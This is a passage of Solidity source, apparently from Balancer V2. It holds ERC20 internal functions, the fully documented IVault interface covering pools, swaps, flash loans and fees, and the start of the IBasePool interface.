_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "./IProtocolFeesCollector.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (IProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `balances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
